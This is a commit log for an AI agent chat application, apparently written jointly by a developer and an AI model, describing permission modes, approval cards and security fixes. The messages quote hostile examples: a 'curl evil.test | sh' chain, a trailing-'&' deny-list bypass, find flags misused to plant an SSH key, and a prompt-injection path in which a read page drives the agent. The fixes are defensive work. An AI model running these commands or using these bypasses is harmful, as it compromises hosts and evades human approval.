Commit Graph
7 Commits
Author SHA1 Message Date
HomerandClaude Opus 5 96f269dadb Boundaries that were supposed to hold
The security pass. Six findings, none reachable by visiting the site and
every one a boundary this codebase says it keeps.

A subagent is pinned to a list of read-only commands, in every mode,
unattended, with no card anybody could approve -- and `find *` was on it.
find writes files with -fprintf, runs programs with -exec and removes them
with -delete, and none of that needs a character the metacharacter guard
refuses. A page the model had just read could ask for a helper and get a
key into authorized_keys, from Plan mode, which promises to change
nothing. Refused in `subject()` rather than trimmed from the list: a
pattern cannot say "and no dangerous flags", and "this one looks
read-only" is exactly what put find there.

The loopback guard missed `0.0.0.0`, which is not is_loopback but does
connect to localhost -- so it answered a *decided* False and skipped the
DNS half too. The one spelling of "this machine" that walked past a guard
whose whole job is that sentence.

Twice in the update helper, which is the one place this deliberately
crosses a privilege boundary: root ran a script the service account owns,
and root sourced a file that account can replace. Either turns a
compromise of the web application into root. The first needed no
compromise at all -- a pull happens as the service user and root runs
whatever it fetched, so control of the branch was control of root. The
old test asserted that exact ExecStart line and had pinned it in place.

Push endpoints skipped check_url, the only outbound request that did. And
a chat could be filed in another account's folder, which hands over its
system prompt -- `_new_chat` resolved the folder, discarded it when it was
not the caller's, and stored the raw id anyway.

An existing helper install keeps the old wiring until install.sh is
re-run; update.sh now says so when it finds itself inside the checkout.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-07 13:45:59 +02:00
Jaroslav BenešandClaude Opus 5 e9546dcd1f A reply you can read while it is still being written
Seven things, and the thread running through them is that the machinery was
right and what a person saw of it was not.

Auto asked about every compound command. `policy.subject` refuses to let any
pattern match a line carrying a shell metacharacter -- correct, and the whole
reason `git *` cannot also mean `git status; curl evil.test | sh` -- and a rule
on top of that asked whenever a deny list existed at all. The shipped deny list
is non-empty, so `cd build && make` and `pytest | tail` both stopped for
approval in the one mode whose purpose is not stopping. Nobody read that as a
security control; they read it as Auto not working. It is gone, and what it
costs is written down beside it and under the admin field: a deny pattern can be
walked past with a trailing `&`. Matching each segment would restore both.

A forty-round agent reply rendered as three zones -- all the thinking, then
every tool block, then all the prose -- which is fine at two rounds and
unreadable at forty. `Message.steps_json` is a table of contents over the three
stores rather than a fourth copy of any of them, so `build_messages`, compaction
and titling still see one string. No marks means the old layout, which is what
every existing row reads back, with no version flag and no branch in the
template.

Nothing could be expanded while a reply streamed, and that was two faults. The
tool list was replaced wholesale twelve times a second, so an opened block shut
itself within 80ms; the ids are stable now and steps.js puts them back, across
the final swap as well. And the thread snapped to the bottom on every frame, so
a block that did open was scrolled off -- opening one now stops it following
until you scroll back down yourself. Both driven under a DOM stub before
committing, per the note in CLAUDE.md.

The metrics were never wrong, which is why this looked like arithmetic and was
not. One chip is what the reply cost and the other is what the conversation
occupies; on a multi-round reply those differ by a lot and neither said which it
was. What was broken is that they stood still -- usage arrives once a round, and
`reported or estimated` stops consulting the estimate the moment the first chunk
lands -- and that the `~` marking an estimate vanished at exactly the point
everything became one. Interpolated between counts now, never over them.

Background jobs had no surface at all. A chip counting what is still running and
a panel with each job's command, state, log tail and a Stop button; the fifth
exception to "the modes govern the model, not the interface", for the reason the
other four are.

file_edit had two faults worth more than the error text. A file it could not
read was reported to the model as an empty one, and a file too large to read
whole was patched and written back by a call that replaces -- deleting
everything past the ceiling, silently, and reporting success with a byte count.
Both refused now. A refused hunk also prints the file around where it landed,
which is most of the retry loop these models get into.

And a model can talk itself to a standstill: a round with no tool calls is a
model saying it has finished, so pages of "Ready? GO! ... Wait ... Actually ..."
ended the reply having done nothing. `core.commit` is the prompt half and a
second nudge signal is the other, narrowed to a long reply that touched nothing
so that finishing is never argued with.

Also: the scope menu is called Toggle and no longer offers to type an `@` for
you, and "Always allow this" says when it has stored nothing rather than
appearing to work.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-04 19:02:07 +02:00
Jaroslav BenešandClaude Opus 5 b03dfa24fd Four things that failed silently in an agent chat, and an account of the work
Each of the first four looked like it worked. That is what they have in
common, and why the tests are written against the property rather than the
markup.

**The job wrapper never cleaned up.** `jobs.py` interpolated `{log}` -- the
module logger -- where it meant `{logf}`, so every launch-and-wait wrapper
ended `rm -f ... <Logger ... (WARNING)> ...`, which is a shell syntax error.
It died after the sentinel, where nothing reads it, so commands still worked
while every one of them left four files on the far side forever, including
the log holding everything it printed. Every wrapper now goes through `sh -n`.

**The approval card could show something other than what ran.** The card did
a plain `json.loads` and showed `{}` on failure; `run_tool`'s own fallback
put the raw string into the tool's first required parameter, which for
`shell_run` is the command. So invalid JSON -- a normal path with small
models -- produced a card headed "Run a command" with an empty body, and
`policy.decide` was handed an empty command line matching neither list.
Arguments are parsed once now, in `tools.parse_arguments`, and the same dict
reaches the card, the policy and the runner.

**One character walked past the deny list.** `subject()` yields nothing for a
command line carrying a metacharacter, which is what stops `git *` also
meaning `git status; curl evil.test | sh`. The note said a deny list needed
no such care because failing open returns you to the mode -- true of Manual,
Edit and Plan, and false of Auto, where the mode is ALLOW. `shutdown -h now`
asked; `shutdown -h now &` ran.

**"Always allow this" allowed nothing.** The verdict was accepted, treated as
permitted, and stored nowhere. It now writes `Chat.scope_json["allow"]`, from
patterns derived server-side from the approved item -- the endpoint takes an
id and a verdict and nothing else -- and the list is shown in the scope menu
with a Clear beside it.

Two more found while fixing them:

**A reply could grow its request past the window with nothing watching.**
Compaction runs once, before the first round. The only other guard defaults
to a megabyte, larger than the window of nearly every model this talks to.
`_too_big` stops between rounds now, and the estimate it reads is recomputed
per round rather than once -- which is also what the metrics report on every
endpoint that sends no usage block.

**The harness ceiling was dropping AGENTS.md.** 8000 characters, against
~7,900 of fragments plus the 2,000 and 4,000 the index and instruction
budgets grant by default. `assemble` cuts the tail, so on a default install
the project listing was severed and the project's own instructions never
reached the model at all.

And, because an agent that works for ten minutes should be readable while it
does:

**Every action says what it is for.** `shell_run`, `file_write`, `file_edit`
and `job_stop` take a `why`: one line, carried onto the approval card above
the command and into the transcript's summary line rather than its collapsed
body. Auto mode is the case it exists for -- nothing stops for approval
there, so without it a reader watches a list of commands with no account of
any of them until the reply ends. Kept apart from the reason *we* stopped: an
explanation a reader takes for the application's own would be LLeMbas
vouching for text a model wrote.

**And the reply says what it is doing as it goes.** `core.objective` and
`core.narrate`, both agent-only. The second is deliberately the opposite of
`core.tools_preamble`'s "do not announce that you are about to", which is
right for a short answer -- read once it is finished -- and wrong for a long
piece of work, which is watched while it runs. It says so in its own words
rather than referring to a fragment an administrator may have cleared.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-03 21:59:19 +02:00
Jaroslav BenešandClaude Opus 5 f1933216f6 A plan it can see is a plan it can keep
Plan mode produced a flat list of steps and then forgot it. Nothing told the
model to look before proposing, nothing let it ask when the scope was
ambiguous, and -- worst -- once execution started the plan was not in the prompt
at all, so it could not have kept it current if it had wanted to.

The shape is findings, objectives and phases of tasks now. Findings are the part
people skip and the part that makes a plan worth reading: what is actually
there, what surprised you, what the plan is working around. Plan mode is told to
research first and to ask with ask_user when the scope is genuinely ambiguous,
in one question rather than three.

steps is still always written, flattened from every phase in order. That is the
whole of the compatibility story: execute_plan reads it and needed no change,
and every row already on disk still works. services/plans.py:normalise is the
only place that knows version 1 existed -- a {title, steps} row comes back as
one phase, so the card, the harness and the Execute button have one shape to
deal with rather than two.

Chat.plan_message_id is what puts the plan in front of the model each turn, with
one primary-key lookup rather than a scan for "the newest message carrying a
plan" -- context_variables is synchronous and sits on the request path.
plan_update is offered only once there is a plan, because a tool for changing
something that does not exist costs a round to find out.

It is RISK_READ, and that sits in tension with notes_edit being RISK_WRITE, so:
risk is what a tool does to the world, and the world the four modes govern is
the machine. This cannot touch it. RISK_WRITE would put an approval card on
screen every time a task was ticked off -- four cards to carry out a four-task
plan, each approving a bookkeeping entry -- which is exactly the interruption
batching exists to prevent. A note is a durable artefact of the reader's that
outlives the chat; this is the chat's own record of what it is doing, nearer to
generation.status. An administrator who disagrees puts it in deny_default.

One thing that nearly went wrong quietly. A runner cannot write the message row,
since _persist is the single writer -- so plan_update returns the merged plan on
its event and the loop carries it. Both calls in a round would then have read
the same stale plan from the database and the second would have won. They merge
into AgentContext.plan instead, the snapshot seeded once when the context is
resolved. Both tools write event["plan"] so _persist stays one writer with one
rule; only plan_submit sets plan_final, which is what withdraws the tools.

The card does not re-render in place. The newest bubble carries the current plan
and older ones carry the plan as it was then -- that is what a transcript is
for, it needs no streaming machinery, and it makes "what did it think at step
three" answerable.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-03 11:14:34 +02:00
Jaroslav BenešandClaude Opus 5 7977d4ef25 One round for a chat, as many as it takes for an agent
Two different jobs were sharing one number. A plain conversation asking a
question is one round of looking things up and then an answer; the rounds after
that were a small model that had decided searching was the answer searching
until the context ran out, at a full request each. MAX_ROUNDS is 1 now. Several
tools can still be called within that round, which is the thing worth telling
the model.

The trade is real and worth naming: a plain chat can no longer search and then
read one of the results, because reading is a second round. That is what an
agent chat is for.

An agent chat is sized by Limits instead, where steps is now a runaway backstop
and not a working budget. It was 40 and it was reached -- a step count low
enough to be the thing that ends a reply is a count that ends it halfway. What
bounds one now is the wall clock and a new completion-token ceiling, with zero
meaning no ceiling, the same convention index_chars already uses.

That ceiling would have been decorative. generation.completion_tokens is only
populated when the endpoint sends a usage block, and llama.cpp, Ollama and
friends never do; the fallback estimate is computed once, in _run's finally,
long after the loop that needs it. So _written takes the larger of reported and
estimated, and there is a test that runs the whole thing against a stream
reporting no usage at all. A limit that works on OpenAI and silently does
nothing everywhere else is the worst kind: one that looks configured.

core.rounds could not stay one fragment. "You get at most N rounds" is not the
same sentence with a different number in it -- a model told it has a budget
rations it and stops early to report progress, which is exactly the behaviour
that strands a long piece of work. So it splits: core.rounds keeps the
one-round case and gates on a new round_budget variable that _agent_values
blanks, and core.keep_working says the other thing to an agent chat.

A queued message during a one-round reply is now never taken mid-reply -- there
is no work under way to steer -- and falls through to _drain, which gives it a
reply of its own. No code change went with that; it falls out of the guard, and
there is a test so that "it happens to work" and "it is meant to work" stop
looking the same.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-03 11:11:05 +02:00
Jaroslav BenešandClaude Opus 5 b6aab8de55 Agent chats run commands, and stop to ask first
The four tools an agent chat has -- shell_run, file_read, file_write,
file_list -- and the mode table wired into the loop that decides which of
them stop for approval. Verified end to end against a real Kali container
over SSH: the card shows the command, allowing it runs it there, and the
file it writes is visible from outside.

The mode is enforced in `_authorise`, in the generation loop, server-side,
keyed on each tool's declared risk. Not in the prompt: a model is told
which mode it is in so it behaves sensibly, but everything it reads -- a
web page, a README, the output of the last command -- is untrusted, and a
rule written only into a system message is one a poisoned file can argue
with. Within an agent chat every call goes through the table, including
the built-in ones, because notes_edit writes and Plan mode meaning "look
but do not touch" has to mean that too.

Two things this turned up.

The runners re-check the mode as a backstop, and that backstop refused the
very thing a person had just approved -- the mode says "ask", and asking
was exactly what happened. Approval is now threaded per call, on a copy of
the context, because a round runs its calls together and only some of them
were allowed.

And the harness said nothing at all, because `registry` maps an offered
tool *name* back to a family and did not know the agent tools existed. So
shell_run resolved to no family and the fragment naming the machine, the
directory and the mode was never admitted. The same omission cost custom
tools their guidance once already; there is a test for it now.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-02 00:08:48 +02:00
Jaroslav BenešandClaude Opus 5 1c659a5640 A reply can stop and ask you something
Three features turn out to be one mechanism: a command waiting to be
approved, a question the model wants answered, and "this reply is waiting
for you" are all — stop the generation, put an interactive block in the
bubble, wait for a POST, carry on. So there is one primitive, and the only
thing using it so far is `ask_user`: a model can offer you a few answers
and a box to write your own.

The shell executor is not here yet. This lands first on purpose, because
it is the riskiest machinery in the feature and it is worth having working
before any subprocess exists to complicate it.

Two things about where the pause sits. It pauses a round, not a call: a
round's calls run together under a semaphore, and parking four coroutines
on four separate answers inside that gather would queue them behind each
other invisibly. And Stop had to be taught about it — `cancel` is read
between streamed chunks and there are no chunks while paused, so the
button did nothing at all until `request_stop` learned to resolve the
pause itself.

Also here: a risk class on every tool (read, write, execute), which is
what the four permission modes will be a table over, and the systemd unit
loses ProtectKernelTunables. That last one is not tidying — it
bind-mounts /proc/sys read-only, which stops bubblewrap mounting /proc at
all, and the obvious workaround would expose this process's environment
and with it the encryption key.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-01 19:30:44 +02:00